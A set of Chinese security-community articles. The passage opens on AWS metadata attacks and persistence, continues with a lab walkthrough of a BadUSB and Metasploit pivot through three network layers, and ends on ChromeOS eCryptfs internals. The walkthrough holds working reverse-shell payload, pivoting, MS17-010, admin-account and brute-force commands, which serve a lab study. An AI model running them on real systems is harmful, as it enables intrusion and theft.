Userdata涉及到云厂商提供的一种功能，这项功能允许用户自定义配置在实例启动时执行的脚本的内容。
通过这一功能，攻击者可以尝试在实例的userdata中写入恶意代码，这些代码将会在实例每次启动时自动执行。
以AWS举例，攻击者可以将恶意代码写入my_script.txt文件中，然后执行如下指令将my_script.txt文件中内容导入userdata中。
随后，攻击者通过如下命令重启实例：
当实例重启时，userdata中的恶意代码将会被执行。
攻击者除了可以使用临时凭据获取实例的控制权限，通过元数据服务窃取到的拥有一定权限的角色临时凭据在持久化阶段也发挥着作用。攻击者尝试使用通过元数据服务获取的临时凭据进行持久化操作，确保能够持续拥有访问权限，以防被发现后强行终止攻击行为。
使用临时凭据进行持久化的方式有很多，比如说在上文中所提及的在userdata中写入恶意代码这项攻击技术，也是可以运用在持久化阶段：通过在实例的userdata中写入恶意代码，这些代码将会在实例每次启动时自动执行。这将很好的完成持久化操作而不易被发现。
除此之外，攻击者还可以尝试在账户中创建一个新的用户以进行持久化，以AWSCLI举例，攻击者可以通过awsiam create-user --user-name Bob 为账户新建一个名为Bob的用户
随后使用awsiam create-access-key --user-name Bob指令为Bob用户创建凭据
虽然这个方法操作简单且有效，但是账户里突然新增的用户及其容易被察觉，因此并不是一个特别有效的持久化方式。
此外，攻击者还会使用一种常见的持久化手法，那就是给现有的用户分配额外的密钥。以针对AWS的攻击来说，攻击者可以使用aws_pwn这款工具来完成这项攻击，aws_pwn地址如下：
<https://github.com/dagrz/aws_pwn>
aws_pwn提供了多项技术以供攻击者可以完成针对aw的持久化攻击，关于aws_pwn所提供的持久化功能可见下图：
通过元数据服务窃取也可以被攻击者应用于横向移动操作。攻击者可以通过元数据服务窃取角色的临时凭据横向移动到角色对应权限的资源上。除此之外，攻击者会在所控制的实例上寻找配置文件，并通过配置文件中的配置项中获取其他资源的访问方式以及访问凭据。
攻击者在横向移动的过程中，获取到可以操作云数据库或存储服务必要权限的密钥或是登录凭据后，攻击者就可以访问这些服务并尝试将其中的用户数据复制到攻击者的本地机器上。
以AWSCLI为例，攻击者可以通过如下命令将s3存储桶中的内容同步到本地
仍然以上文提及的CapitalOne银行数据泄露事件举例，攻击者使用获取到的角色临时凭据，多次执行“awss3 ls”命令，获取CapitalOne
账户的存储桶的完整列表；
接着攻击者使用 sync命令将近30 GB 的Capital One用户数据复制到了攻击者本地。
总的来说，元数据服务为云上安全带来了极大的安全挑战，攻击者在通过SSRF等漏洞获取到实例绑定的角色的临时凭据后，将会将其应用于云上攻击的各个阶段。通过破坏用户系统，滥用用户资源、加密用户资源并进行勒索等手段影响用户环境正常使用。
## 03元数据安全性改进
以AWS为例，AWS为了解决元数据服务在SSRF 攻击面前暴露出的安全性问题，引入IMDSv2来改善其总体安全情况。
在IMDSv2中，如果用户想访问元数据服务，首先需要在实例内部向IMDSv2发送一个HTTPPUT请求来启动会话，示例如下：
X-aws-ec2-metadata-token-ttl-seconds用于指定生存时间（TTL）值（以秒为单位），上文中生成的token有效期为6小时（21600秒），在IMDSv2中21600秒是允许的最大TTL值。此请求将会返回一个token，后续访问元数据服务，需要在HTTPheader中携带此token，见如下请求：
完整流程如下：
TOKEN=`curl-X PUT "http://169.254.169.254/latest/api/token" -H"X-aws-ec2-metadata-token-ttl-seconds: 21600"
curlhttp://169.254.169.254/latest/meta-data/profile -H“X-aws-ec2-metadata-token: $TOKEN”
流程图如下:
可见，在采用IMDSv2时，即使实例中应用存在SSRF漏洞，攻击者也无法轻易的利用SSRF漏洞向元数据服务发出PUT请求来获取token，在没有token的情况下，攻击者并不能访问元数据服务，也就无法获取角色的临时凭据进行后续的攻击行为。
除了使用PUT启动请求这项安全策略之外，IMDSv2还引入了如下两个机制保证元数据服务的安全：
* 不允许X-Forwarded-For标头：如果攻击者通过反向代理的方式的确可以绕过PUT限制，但是，通过代理传递的请求将包含“ X-Forwarded-For”标头。这样的请求被IMDSv2拒绝，并且不发行令牌。
* IP数据包TTL设置为“ 1”：TTL指定数据包被路由器丢弃之前允许通过的最大网段数量，是IP数据包在网络中可以转发的最大跳数(跃点数),将其值设置为1可确保包含机密令牌的HTTP响应不会在实例外部传播。即使攻击者能够绕过所有其他保护措施，这也将确保令牌不会在实例外部传播，并且一旦数据包离开实例，数据包将被丢弃。
值得注意的是，AWS认为现有的实例元数据服务（IMDSv1）是完全安全的，因此将继续支持它。如果不执行任何操作，则IMDSv1和IMDSv2都可用于EC2实例。这就是说，在不主动禁用IMDSv1的情况下，实例仍存在着安全隐患。
## 04元数据服务更多安全隐患
IMDSv2方案的确可以有效的保护存在SSRF漏洞的实例，使其元数据不被攻击者访问。但是这项技术可以完美的保护元数据、保护租户的云业务安全吗？答案是不能。
设想一下：当攻击者通过其他漏洞（例如RCE漏洞）获取实例的控制权之后，IMDSv2的安全机制将变得形同虚设。攻击者可以在实例上发送PUT请求获取token，随后利用获得的token获取角色临时凭据，最后利用角色临时凭据访问角色绑定的一切云业务，具体流程见下图：
总之，当攻击者通过RCE漏洞获取实例控制权后，可以通过元数据服务获取到的临时凭据进行横向移动。鉴于云厂商产品API功能的强大性，在获取角色临时凭据后，可能造成及其严重的影响
值得注意的是，如果在云平台控制台中执行一些高危行为，平台默认都会需要进行手机验证。但通过使用临时凭据调用发送请求调用API接口，并不需要手机验证码，可以绕过这项安全检测。
## 参考文献
<https://aws.amazon.com/cn/blogs/china/talking-about-the-metadata-protection-on-the-instance-from-the-data-leakage-of-capital-one/>
<https://medium.com/@shurmajee/aws-enhances-metadata-service-security-with-imdsv2-b5d4b238454b>
<https://web.mit.edu/smadnick/www/wp/2020-07.pdf>
<https://github.com/dagrz/aws_pwn>
<https://docs.aws.amazon.com/zh_cn/cli/latest/userguide/cli-services-s3-commands.html#using-s3-commands-managing-objects-sync>
<https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/id_users_create.html>
<https://rhinosecuritylabs.com/cloud-security/aws-security-vulnerabilities-perspective/>
* * * | 社区文章 |
# 社工模拟——利用BadUSB穿透3层内网
作为一个安全人员，听过许多社工APT案例，钓鱼邮件、水坑攻击、丢个u盘等等。前段时间在一次培训中了解到BadUSB的攻击方式，可以通过U盘达到控制服务器的效果，在著名的美剧《黑客军团》中也出现了在停车场扔BadUSB来进行钓鱼的场景。
一时好奇，于是尝试模拟一次社工，利用VMware搭建了3层网络靶场，通过BadUSB+MSF的攻击手段，一步一步渗透到第三层网络。
## 0x01 三层网络靶场搭建
本次模拟实验的网络拓扑如下：
第一层网络，模拟企业办公网，为一台win7的员工办公电脑，第二层网络模拟内网，是一台win2003服务器，第三层网络为企业核心网，为一台Linux服务器。攻击者的攻击机有kali和win10。
我们可以利用VMware搭建出3层网络的网络环境，首先在虚拟机中新建3块网卡，并选择 **仅主机模式** ：
我们将kali设为第一层网络vmnet1，在网络适配器中选择自定义vmnet1：
在第一层靶机win7虚拟机设置中添加一个网络，并将两个网络分别设为vmnet1和vmnet2，达到双网卡的效果：
同理，将第二层靶机win2003设为双网卡vmnet2和vmnet3：
最后，将第三层靶机linux的网络设为vmnet3：
至此，我们本次试验的3层网络靶场已经搭建完毕,攻击者的kali只能访问第一层网络，而无法访问第二层和第三层的靶机：
## 0x02 BadUSB介绍
* **效果演示**
在介绍BadUSB之前，我们先来看一下他的威力，下面的u盘看上去是一个u盘，但其实内部是一个单片机，普通人很容易被迷惑。
我在本地的win10上做了演示，我的系统装了防病毒软件，并且补丁也更新到最新，但当我将上面的u盘查到电脑上的时候，他达到了任意执行命令的效果。
当然上面的操作只是为了演示，我们完全可以利用他来做更多隐蔽的攻击操作。
* **什么是BadUSB？**
简单来说，就是让USB设备伪装成键盘，被插入的电脑猝不及防会被迅速输入一定的“指令”，这个指令会让该电脑迅速成为肉鸡，这个漏洞最早在2014年的BlackHat安全大会上公布。BadUSB最可怕的一点是恶意代码存在于U盘的固件中，由于PC上的杀毒软件无法访问到U盘存放固件的区域，因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。
* **常见的BadUSB**
1、TEENSY
攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启、是否安装杀毒软件，都可以成功。
2、USB RUBBER DUCKY
简称USB橡皮鸭，是最早的按键注入工具，通过嵌入式开发板实现，后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘，让电脑识别成为键盘，然后进行脚本模拟按键进行攻击。
* **制作一款简易BadUSB**
制作一款BadUSB我们需要以下工具：
1、BadUSB设备，目前在淘宝有售，我们这里选用的是Digispark，Digispark是一个基于ATTINY85微控制器的USB开发板，体积小且价钱便宜，淘宝有售：[https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d](https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d)
2、Arduino IDE
Arduino
IDE用于烧录代码的编译器，可以将我们的恶意代码烧录到BadUSB中，配置好相关参数，将开发板设为Digispark，编程器设为USBtinyISP：
编写好代码后，我们就可以点击“上传”按钮，然后插入BadUSB设备，一款简易BadUSB就做好了。
## 0x03 MSF内网渗透
有了上面的BadUSB的知识，我们可以模拟一个社工场景：企业内部人员捡到了一个“u盘”，出于好奇插在了自己的办公电脑上，而这个“u盘”其实是一个BadUSB，插上之后会自动下载攻击者用MSF制作的后门，所以在插上u盘之后，员工的办公电脑就已经被黑客控制，黑客从而可以进一步进行内网渗透、横向扩展。下面我们就来看看如何利用MSF一步一步进行内网渗透：
* **制作MSF后门：**
msf的msfvenom命令可以生成我们所需要的后门：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 -f exe >shell.exe
其中，192.168.59.128是msf监听端的地址，6666是msf监听端的端口。我们将生成的shell.exe放在卡里搭建的web服务上。
* **MSF开启监听：**
在MSF服务端，我们开启监听，等待win7反弹shell：
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.59.128
set LPORT 6666
exploit
* **BadUSB烧入攻击程序**
根据工作中真实监控的payload套路，我们在BadUSB中烧入如下程序，让第一层靶机Win7自动下载攻击者kali中的制作好的shell.exe，并执行：
这样一来，当win7被插上u盘后，攻击者的msf就获得了一个反弹shell：
* **meterpreter渗透**
Meterpreter是MSF中的一个模块，攻击payload在攻击成功以后给我们返回一个控制通道——Meterpreter
shell。Meterpreter
shell作为渗透模块有很多有用的功能，比如添加一个用户、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息等等。
我们可以在meterpreter中输入shell获得靶机win7的shell，执行ipconfig，发现第二层网络的网段信息：
为了使得MSF能够继续对第二层网络进行渗透，我们首先需要添加路由表：
metepreter> run autoroute -s 192.168.90.0/24
这样，通往192.168.90.0/24网段的流量通过meterpreter 的session2进行路由。然后，我们在msf启动socks代理：
msf> use auxiliary/server/socks4a
msf > set srvhost 192.168.59.128
msf > set srvport 9999
msf > run
这样其他攻击软件可以通过MSF socks代理、添加的路由对第二层渗透。
此时，我们已经可以访问第二层网络192.168.90.0/24了，按照常见的渗透思路，我们会对第二层网络进行扫描探测，看看存活主机有哪些，比如用nmap进行扫描，不过在此之前，我们还需要配置kali中的proxychain，通过proxychain
将nmap的流量通过msf的socks代理，进行第二层的网络扫描。
* **配置proxychain**
修改/etc/proxychains.conf，将里面的服务器和端口设置为msf socksserver的信息:
此时，我们可以利用nmap进行第二层网络的探测：
由于proxychains无法代理icmp的数据包 所以必须添加-Pn -sT参数，即不检测主机是否存活，直接进行端口tcp扫描。
proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132
通过扫描我们发现了，第二层网络中的靶机地址192.168.90.129，同时开启了80、445、3306、3389端口，因此下一步的渗透可以从这几个端口考虑。
这里有几个思路，可以从80端口找漏洞，尝试上传webshell，3306和3389可以尝试口令爆破，而445端口第一个就会想到大名鼎鼎的MS17-010，永恒之蓝。
* **永恒之蓝**
虽然wannacry事件已经过去一年多了，内网里存在ms17-010漏洞的情况在各个行业并不少见，在这次模拟环境中，第二层网络win2003就存在这个漏洞，我们可以利用msf直接对ms17-010进行利用，拿到shell，配置攻击参数，由于第二层服务器无法直接和攻击者的kali进行通信，所以这里注意payload要设置为bind_tcp，即采用正向代理的模式。
成功攻击，获得meterpreter shell：
拿到system权限，我们可以修改administrator密码，或者新增管理员用户：
net user tinhyfisher tinyfisher /add 添加用户tinyfisher密码为tinyfisher
net localgroup administrators tinyfisher /add 将帐号tinyfishe升级为管理员
* **端口转发**
我们看到，第二层的win2003服务器开启了3389，我们可以登录远程桌面，如果没有开启也没关系，我们可以通过下面的命令开启。
metepreter>run getgui -e
或者
metepreter>run post/windows/manage/enable_rdp
现在，我们无法直接从最外层访问第二层的3389，我们需要将3389的流量转发出来，从而登录远程桌面：
metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #将目标机192.168.90.129的3389端口转发到本地kali 7777端口
至此，我们已经可以在自己的攻击机上，远程登录并控制第二层靶机了。
* **第三层网络渗透**
同样，我们要进一步对第三层网路进行渗透的话，第一步还是添加到第三层的路由：
然后是利用nmap探测第三层网络端口信息：
开放了80和22端口，思路比较明显，要拿到权限，要么ssh口令爆破，要么从web端找漏洞传webshell。
* **口令爆破**
首先尝试第一个思路，看看ssh是否存在弱口令，我们使用auxiliary/scanner/ssh/ssh_login模块，配置好用户名和字典，开始爆破：
果然存在弱口令123456，直接拿到root权限。
* **web渗透**
我们可以在浏览器中配置kali为代理服务器，从而访问第三层网络：
打开访问，发现是Typecho的博客系统：
对于这种CMS我们的思路一般是直接去互联网搜索CMS的漏洞poc进行测试，这里就不再进一步演示：
至此，我们通过BadUSB让第一层网络中的win7系统下载并运行我们的恶意软件，然后通过MSF利用MS17-010、口令爆破、web渗透等方式穿透三层内网，最终拿下第三层网络系统的权限。常见的渗透思路可以参考下面的脑图：
## 0x04 总结
本次模拟只是最简单的演示，实际情况会比这个复杂的多，比如目标会安装防病毒软件，因此，当利用BadUSB下载msf后门的时候需要考虑如何免杀，不然很容易被发现；各个网段一般也会做隔离，因此如何找到网络突破口比较难；内部会有各种安全设备，比如IDS、蜜罐、TDA等等，所以真正渗透比本次试验要难的多。
但这里出现的员工安全意识较差，补丁更新不及时、没有安装防病毒软件或者病毒库更新不及时、以及系统存在弱口令的问题在实际工作中也是经常遇到，做好企业安全工作这些基础工作很重要。
最后，通过USB接口攻击的案例很多，BadUSB只是一类，还有通过USB接口横跨PC和Mobile平台进行攻击的案例。我们在日常使用USB设备时，不要使用陌生的USB设备，避免USB存在恶意代码导致安全风险。 | 社区文章 |
来源：[IceSword Lab](http://www.iceswordlab.com/2017/10/09/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/ "IceSword Lab")
作者：suezi@IceSword Lab
#### 一、概述
Chromebook
的使用场景模式是允许多人分享使用同一台设备，但是同时也要保护每个用户数据的私密性，使得每个使用者都不允许访问到对方的隐私数据，包括：账户信息、浏览历史记录和
cache、安装的应用程序、下载的内容以及用户自主在本地产生的文本、图片、视频等。本文试图从较高的角度阐述 ChromeOS 是如何通过 eCryptfs
机制保护用户数据隐私。
#### 二、eCryptfs 简介
eCryptfs 在 Linux kernel 2.6.19 由 IBM 公司的 Halcrow，Thompson 等人引入，在 Cryptfs
的基础上实现，用于企业级的文件系统加密，支持文件名和文件内容的加密。本质上 eCryptfs 就像是一个内核版本的 Pretty Good
Privacy（PGP）服务，插在 VFS和下层物理文件系统之间，充当一个“过滤器”的角色。用户应用程序对加密文件的写请求，经系统调用层到达 VFS
层，VFS 转给 eCryptfs 文件系统组件处理，处理完毕后，再转给下层物理文件系统；读请求流程则相反。
eCryptfs 的设计受到 OpenPGP 规范的影响，核心思想：eCryptfs 通过一种对称密钥加密算法来加密文件的内容或文件名，如
AES-128，密钥 FEK（File Encryption Key）随机产生。而 FEK 通过用户口令或者公钥进行保护，加密后的 FEK
称EFEK（Encrypted File Encryption Key），口令/公钥称为 FEFEK（File Encryption Key
Encryption Key）。在保存文件时，将包含有 EFEK、加密算法等信息的元数据（metadata）放置在文件的头部或者 xattr
扩展属性里（本文默认以前者做为讲解），打开文件前再解析 metadata。
图一 eCryptfs的系统架构
eCryptfs 的系统架构如图一所示，eCryptfs 堆叠在 EXT4
文件系统之上，工作时需要用户程序和内核同时配合，用户程序主要负责获取密钥并通过(add_key/keyctl/request_key)系统调用传送到内核的
keyring，当某个应用程序发起对文件的读写操作前，由 eCryptfs 对其进行加/解密，加/解密的过程中需要调用 Kernel 的 Crypto
API（AES/DES etc）来完成。以对目录 eCryptfs-test 进行加密为例，为方便起见，在 Ubuntu
系统下测试eCryptfs的建立流程，如图二所示，通过mount指令发起eCryptfs的建立流程，然后在用户应用程序 eCryptfs-utils
的辅助下输入用于加密FEK的用户口令及选择加密算法等，完成挂载后意味着已经开始对测试目录 eCryptfs-test 的所有内容进行加密处理。测试中在
eCryptfs-test 目录下增加需要加密的文件或目录的内容，当用户 umount 退出对 eCryptfs-test
目录的挂载后再次查看该目录时，发现包括文件名和文件内容都进行了加密，如图三所示。
图二 eCryptfs使用时的建立流程
图三 eCryptfs加密后的文件
图四 eCryptfs对文件的加解密流程
实现上，eCryptfs 对数据的加/解密流程如图四所示，对称密钥加密算法以块为单位进行加密/解密，如AES-128。eCryptfs
将加密文件分成多个逻辑块，称为 extent，extent 的大小可调，但是不能大于实际物理页，默认值等于物理页的大小，如32位的系统下是 4096
字节。加密文件的头部存放元数据，包括元数据长度、标志位、旗标、EFEK 及相应的 signature，目前元数据的最小长度为 8192
字节。加/解密开始前，首先解密FEKEK取出FEK。当读入一个 extent 中的任何部分的密文时，整个 extent 被读入 Page Cache，通过
Kernel Crypto API 进行解密；当 extent 中的任何部分的明文数据被写回磁盘时，需要加密并写回整个 extent。
#### 三、eCryptfs 详述
eCryptfs 在内核中的实现代码位于 kernel/fs/ecryptfs，下面以 eCryptfs 使用到的关键数据结构、eCryptfs
init、eCryptfs mount、file creat、file open、file read、file write
的顺序分别介绍eCryptfs是如何工作。另外，eCryptfs 还实现了/dev/ecryptfs的 misc
设备，用于内核与应用程序间的消息传递，如密钥请求与响应，属于非必选项，因此这里不对其进行介绍。
##### eCryptfs 相关的数据结构
eCryptfs 关键的数据结构包括 eCryptfs 文件系统相关
file、dentry、inode、superblock、file_system_type 描述、auth token 认证令牌描述、eCryptfs
加密信息描述等。
eCryptfs 文件系统相关的数据结构如清单一所示，下文将会重点介绍 `file_system_type` 中的 mount 函数，即
ecryptfs_mount。
###### 清单一 eCryptfs文件系统相关的数据结构
/* ecryptfs file_system_type */
static struct file_system_type ecryptfs_fs_type = {
.owner = THIS_MODULE,
.name = "ecryptfs",
.mount = ecryptfs_mount,
.kill_sb = ecryptfs_kill_block_super,
.fs_flags = 0
};
/* superblock private data. */
struct ecryptfs_sb_info {
struct super_block *wsi_sb;
struct ecryptfs_mount_crypt_stat mount_crypt_stat;
struct backing_dev_info bdi;
};
/* inode private data. */
struct ecryptfs_inode_info {
struct inode vfs_inode;
struct inode *wii_inode;
struct mutex lower_file_mutex;
atomic_t lower_file_count;
struct file *lower_file;
struct ecryptfs_crypt_stat crypt_stat;
};
/* dentry private data. Each dentry must keep track of a lower vfsmount too. */
struct ecryptfs_dentry_info {
struct path lower_path;
union {
struct ecryptfs_crypt_stat *crypt_stat;
struct rcu_head rcu;
};
};
/* file private data. */
struct ecryptfs_file_info {
struct file *wfi_file;
struct ecryptfs_crypt_stat *crypt_stat;
};
eCryptfs 支持对文件名（包括目录名）进行加密，因此特意使用了 `struct ecryptfs_filename` 的结构封装文件名，如清单二所示。
###### 清单二 文件名的数据结构
struct ecryptfs_filename {
struct list_head crypt_stat_list;
u32 flags;
u32 seq_no;
char *filename;
char *encrypted_filename;
size_t filename_size;
size_t encrypted_filename_size;
char fnek_sig[ECRYPTFS_SIG_SIZE_HEX];
char dentry_name[ECRYPTFS_ENCRYPTED_DENTRY_NAME_LEN + 1];
};
`struct
ecryptfs_auth_tok`用于记录认证令牌信息，包括用户口令和非对称加密两种类型，每种类型都包含有密钥的签名，用户口令类型还包含有算法类型和加盐值等，如清单三所示。为了方便管理，使用时统一将其保存在`struct
ecryptfs_auth_tok_list_item`链表中。
###### 清单三 认证令牌信息的数据结构
struct ecryptfs_auth_tok {
u16 version; /* 8-bit major and 8-bit minor */
u16 token_type;
u32 flags;
struct ecryptfs_session_key session_key;
u8 reserved[32];
union {
struct ecryptfs_password password; //用户口令类型
struct ecryptfs_private_key private_key; //非对称加密类型
} token;
}
struct ecryptfs_password {
u32 password_bytes;
s32 hash_algo;
u32 hash_iterations;
u32 session_key_encryption_key_bytes;
u32 flags;
/* Iterated-hash concatenation of salt and passphrase */
u8 session_key_encryption_key[ECRYPTFS_MAX_KEY_BYTES];
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
/* Always in expanded hex */
u8 salt[ECRYPTFS_SALT_SIZE];
};
struct ecryptfs_private_key {
u32 key_size;
u32 data_len;
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
char pki_type[ECRYPTFS_MAX_PKI_NAME_BYTES + 1];
u8 data[];
};
eCryptfs 在 mount 时会传入全局加解密用到密钥、算法相关数据，并将其保存在 `struct
ecryptfs_mount_crypt_stat`，如清单四所示
###### 清单四 mount 时传入的密钥相关数据结构
struct ecryptfs_mount_crypt_stat {
u32 flags;
struct list_head global_auth_tok_list;
struct mutex global_auth_tok_list_mutex;
size_t global_default_cipher_key_size;
size_t global_default_fn_cipher_key_bytes;
unsigned char global_default_cipher_name[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char global_default_fn_cipher_name[
ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
char global_default_fnek_sig[ECRYPTFS_SIG_SIZE_HEX + 1];
};
eCryptfs 读写文件时首先需要进行加/解密，此时使用的密钥相关数据保存在`struct ecryptfs_crypt_stat`结构中，其具体数值在
open 时初始化，部分从 mount 时的 `ecryptfs_mount_crypt_stat` 复制过来，部分从分析加密文件的 metadata
获取，该数据结构比较关键，贯穿 eCryptfs 的文件 open、read、write、close 等流程，如清单五所示。
###### 清单五 ecryptfs_crypt_stat 数据结构
struct ecryptfs_crypt_stat {
u32 flags;
unsigned int file_version;
size_t iv_bytes;
size_t metadata_size;
size_t extent_size; /* Data extent size; default is 4096 */
size_t key_size;
size_t extent_shift;
unsigned int extent_mask;
struct ecryptfs_mount_crypt_stat *mount_crypt_stat;
struct crypto_ablkcipher *tfm;
struct crypto_hash *hash_tfm; /* Crypto context for generating
* the initialization vectors */
unsigned char cipher[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char key[ECRYPTFS_MAX_KEY_BYTES];
unsigned char root_iv[ECRYPTFS_MAX_IV_BYTES];
struct list_head keysig_list;
struct mutex keysig_list_mutex;
struct mutex cs_tfm_mutex;
struct mutex cs_hash_tfm_mutex;
struct mutex cs_mutex;
};
##### eCryptfs init过程
使用 eCryptfs 前，首先需要通过内核的配置选项“CONFIG_ECRYPT_FS=y”使能 eCryptfs，因为加解密时使用到内核的 crypto
和 keystore
接口，所以要确保“CONFIG_CRYPTO=y”，“CONFIG_KEYS=y”，“CONFIG_ENCRYPTED_KEYS=y”，同时使能相应的加解密算法，如
AES 等。重新编译内核启动后会自动注册 eCryptfs，其 init 的代码如清单六所示。
###### 清单六 eCryptfs init 过程
static int __init ecryptfs_init(void)
{
int rc;
//eCryptfs的extent size不能大于page size
if (ECRYPTFS_DEFAULT_EXTENT_SIZE > PAGE_CACHE_SIZE) {
rc = -EINVAL; ecryptfs_printk(KERN_ERR，…); goto out;
}
/*为上文列举到的eCryptfs重要的数据结构对象申请内存，如eCryptfs的auth token、superblock、inode、dentry、file、key 等*/
rc = ecryptfs_init_kmem_caches();
…
//建立sysfs接口，该接口中的version各bit分别代表eCryptfs支持的能力和属性
rc = do_sysfs_registration();
…
//建立kthread，为后续eCryptfs读写lower file时能借助内核函数得到rw的权限
rc = ecryptfs_init_kthread();
…
//在chromeos中该函数为空，直接返回0
rc = ecryptfs_init_messaging();
…
//初始化kernel crypto
rc = ecryptfs_init_crypto();
…
//注册eCryptfs文件系统
rc = register_filesystem(&ecryptfs_fs_type);
…
return rc;
}
##### eCryptfs mount 过程
在使能了 eCryptfs 的内核，当用户在应用层下发“mount –t ecryptfs src dst options”指令时触发执行上文清单一中的
ecryptfs_mount 函数进行文件系统的挂载安装并初始化 auth token，成功执行后完成对 src 目录的 eCryptfs
属性的指定，eCryptfs 开始正常工作，此后任何在src目录下新建的文件都会被自动加密处理，若之前该目录已有加密文件，此时会被自动解密。
ecryptfs_mount 涉及的代码比较多，篇幅有限，化繁为简，函数调用关系如图五所示。
图五 eCryptfs mount的函数调用关系图
从图五可看到mount时首先利用函数ecryptfs_parse_options()对传入的option参数做解析，完成了如下事项：
1. 调用函数`ecryptfs_init_mount_crypt_stat()`初始化用于保存 auth token 相关的 `struct ecryptfs_mount_crypt_stat` 对象；
2. 调用函数`ecryptfs_add_global_auth_tok()`将从 option 传入的分别用于 FEK 和 FNEK（File Name Encryption Key，用于文件名加解密）的 auth token的 signature 保存到 `struct ecryptfs_mount_crypt_stat` 对象；
3. 分析 option 传入参数，初始化 `struct ecryptfs_mount_crypt_stat` 对象的成员，如 `global_default_cipher_name`、`global_default_cipher_key_size`、`flags、global_default_fnek_sig`、`global_default_fn_cipher_name`、`global_default_fn_cipher_key_bytes`等；
4. 调用函数`ecryptfs_add_new_key_tfm()`针对 FEK 和 FNEK 的加密算法分别初始化相应的 kernel crypto tfm 接口；
5. 调用函数`ecryptfs_init_global_auth_toks()`将解析 option 后得到 key sign 做为参数利用 keyring 的 request_key 接口获取上层应用传入的 auth token，并将 auth token 添加入 `struct ecryptfs_mount_crypt_stat` 的全局链表中，供后续使用。
接着为 eCryptfs 创建 superblock 对象并初始化，具体如下：通过函数 sget()创建 eCryptfs 类型的
superblock；调用`bdi_setup_and_register()`函数为 eCryptfs 的 `ecryptfs_sb_info`
对象初始化及注册数据的回写设备bdi；初始化 eCryptfs superblock 对象的各成员，如
s_fs_info、s_bdi、s_op、s_d_op 等；然后获取当前挂载点的 path 并判断是否已经是
eCryptfs，同时对执行者的权限做出判断；再通过 `ecryptfs_set_superblock_lower()`函数将 eCryptfs 的
superblock 和当前挂载点上底层文件系统对应的 VFS superblock 产生映射关系；根据传入的 mount option 参数及VFS映射点
superblock 的值初始化 eCryptfs superblock 对象flag成员，如关键的 MS_RDONLY 属性；根据 VFS 映射点
superblock 的值初始化 eCryptfs superblock 对象的其他成员 ，如
s_maxbytes、s_blocksize、s_stack_depth；最后设置 superblock 对象的 s_magic 为
ECRYPTFS_SUPER_MAGIC。这可看出 eCryptfs 在 Linux kernel 的系统架构中，其依赖于 VFS 并处于 VFS
之下层，实际文件系统之上层。
下一步到创建 eCryptfs 的 inode
并初始化，相应工作通过函数`ecryptfs_get_inode()`完成，具体包括：首先获取当前挂载点对应的 VFS 的 inode；然后调用函数
iget5_locked() 在挂载的fs中获取或创建一个 eCryptfs 的 inode，并将该 inode 与挂载点对应的 VFS 的 inode
建立映射关系，与 superblock 类似，eCryptfs 的 inode 对象的部分初始值从其映射的 VFS inode 中拷贝，inode
operation 由函数 `ecryptfs_inode_set()` 发起初始化，根据inode是符号链接还是目录文件还是普通文件分别进行不同的i_op
赋值，如`ecryptfs_symlink_iops/ecryptfs_dir_iops/ecryptfs_main_iops`；同时对 `i_fop
file_operations` 进行赋值，如`ecryptfs_dir_fops/ecryptfs_main_fops` 。
然后调用`d_make_root()`函数为之前创建的 superblock 设置 eCryptfs 的根目录 s_root。
最后通过`ecryptfs_set_dentry_private()`函数为 eCryptfs 设置 dentry。
##### 加密文件creat过程
creat 过程特指应用层通过 creat 系统调用创建一个新的加密文件的流程。以应用程序通过 creat() 函数在以 eCryptfs
挂载的目录下创建加密文件为例，其函数调用流程如图六所示，creat()通过系统调用进入 VFS，后经过层层函数调用，最终调用到 eCryptfs
层的`ecryptfs_create()`函数，该部分不属于 eCryptfs 的重点，不详述。
图六 create经由VFS调用ecryptfs_create的流程
图七 eCryptfs创建加密文件的函数调用过程
eCryptfs 层通过 `ecryptfs_create()` 函数完成最终的加密文件的创建，关键代码的调用流程如图七所示，以代码做为视图，分为三大步骤：
1、通过 `ecryptfs_do_create()` 函数创建 eCryptfs 文件的 inode 并初始化；
2、通过函数`ecryptfs_initialize_file()`将新创建的文件初始化成 eCryptfs
加密文件的格式，添加入诸如加密算法、密钥信息等，为后续的读写操作初始化好 crypto 接口；
3、通过`d_instantiate()`函数将步骤一生成的 inode 信息初始化相应的 dentry。具体如下：
一．为新文件创建 inode
首先借助`ecryptfs_dentry_to_lower()`函数根据 eCryptfs 和底层文件系统（在 chromeos 里就是
ext4）的映射关系获取到底层文件系统的 dentry
值。然后调用`vfs_create()`函数在底层文件系统上创建inode，紧接着利用`__ecryptfs_get_inode()`函数创建
eCryptfs 的 inode
对象并初始化以及建立其与底层文件系统inode间的映射关系，之后通过`fsstack_copy_attr_times()`、`fsstack_copy_inode_size()`函数利用底层文件系统的
inode 对象的值初始化 eCryptfs inode 的相应值。
二．初始化 eCryptfs 新文件
经过步骤一完成了在底层文件系统上新建了文件，现在通过函数`ecryptfs_initialize_file()`将该文件设置成 eCryptfs
加密文件的格式。
